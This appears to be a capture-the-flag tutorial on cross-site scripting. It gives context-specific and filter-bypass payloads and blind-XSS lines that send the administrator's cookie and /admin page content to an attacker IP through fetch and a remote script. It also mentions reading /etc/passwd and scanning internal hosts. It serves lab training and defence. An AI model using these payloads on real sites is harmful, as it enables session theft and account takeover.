XSS in CTFs: steal the admin cookie with a blind XSS
How to find an XSS, bypass the usual filters and steal the administrator's cookie with a blind XSS, just like on Hack The Box machines.
A Cross-Site Scripting (XSS) happens when a website puts your text into a page without escaping it and the browser runs it as JavaScript. In real life it is used to steal sessions or act on the victim's behalf; on Hack The Box machines there is almost always a bot playing the administrator that reviews what you submit (a contact form, a ticket, a bug report), so the goal is to steal its cookie or make requests as it.
The three kinds, in one sentence each
| Kind | Where the payload lives | How it reaches the victim |
|---|---|---|
| Reflected | In the URL or a request parameter | You get them to open a link |
| Stored | In the database (comments, profile, tickets) | Anyone who opens the page sees it |
| DOM | Only in the browser: JavaScript that reads location, hash or postMessage |
A link or a message |
When you cannot see where your text is rendered (an administrator reviews it in another panel) it is called blind XSS. It is the most common case in CTFs.
Finding it
- Put a unique string in every field:
zzz'"<>and search the response (Ctrl+U or Burp) for where it shows up and which characters survive. - The payload depends on the context:
| Your text lands... | Payload to try |
|---|---|
Between tags: <p>HERE</p> |
<img src=x onerror=alert(1)> |
Inside an attribute: value="HERE" |
" autofocus onfocus=alert(1) x=" |
Inside a script: var n = 'HERE'; |
';alert(1)// |
In an href: <a href="HERE"> |
javascript:alert(1) |
Tip
Use alert(document.domain) instead of alert(1): if the XSS fires in an iframe from another domain, you will notice straight away.
Blind XSS: stealing the administrator's cookie
Start a server that logs requests and send a payload that calls your IP:
python3 -m http.server 80
<img src=x onerror="fetch('http://10.10.14.5/?c='+btoa(document.cookie))">
<script src="http://10.10.14.5/x.js"></script>
The second one is the handiest: the payload is short and you change what it runs by editing x.js on your machine, without submitting it again:
// x.js: send the cookie and the page the admin sees
fetch('http://10.10.14.5/c?' + btoa(document.cookie));
fetch('/admin').then(r => r.text()).then(t =>
fetch('http://10.10.14.5/p', {method: 'POST', body: t}));
When the cookie arrives, set it in your browser (the Storage tab of the developer tools) and reload. If the field is not shown on the site, try every field and also the User-Agent and Referer headers: many admin panels render them.
Important
If the cookie has the HttpOnly flag, JavaScript cannot read it and document.cookie comes back empty. That is fine: use the XSS to make requests as the administrator (read /admin, create a user, change their password) and send yourself the response as in x.js.
Bypassing the usual filters
| If they block... | Try |
|---|---|
<script> |
<img src=x onerror=...>, <svg onload=...>, <details open ontoggle=...> |
| Spaces | <svg/onload=alert(1)> |
| Parentheses | alert`1` or onerror=alert;throw 1 |
| Quotes | String.fromCharCode(...) or backtick templates |
The words alert or cookie |
window['al'+'ert'], document['coo'+'kie'] |
| All of the above | Base64-encode the code and run it with eval(atob('...')) |
If the site filters your text both on the server and on the client, read the JavaScript: sometimes the filter only exists in the browser and sending the request from Burp is enough.
Beyond the cookie
- CSRF through the XSS: with JavaScript on the victim's domain you can read the anti-CSRF token and submit any form.
- XSS → RCE: in Electron desktop apps, in panels that render PDFs with a browser (read
file:///etc/passwdwith an<iframe>) or in admin panels with an "upload plugin" feature. - Internal scanning: the bot's browser is inside the network; from it you can
fetchservices you cannot see (like a client-side SSRF).
Defence in two lines
Always escape output for its context (HTML, attribute, JavaScript, URL), use templates that do it by default, mark cookies HttpOnly and SameSite, and add a CSP that does not allow unsafe-inline.
For the rest of the web bugs, follow the web pentesting checklist or the Web pentesting path.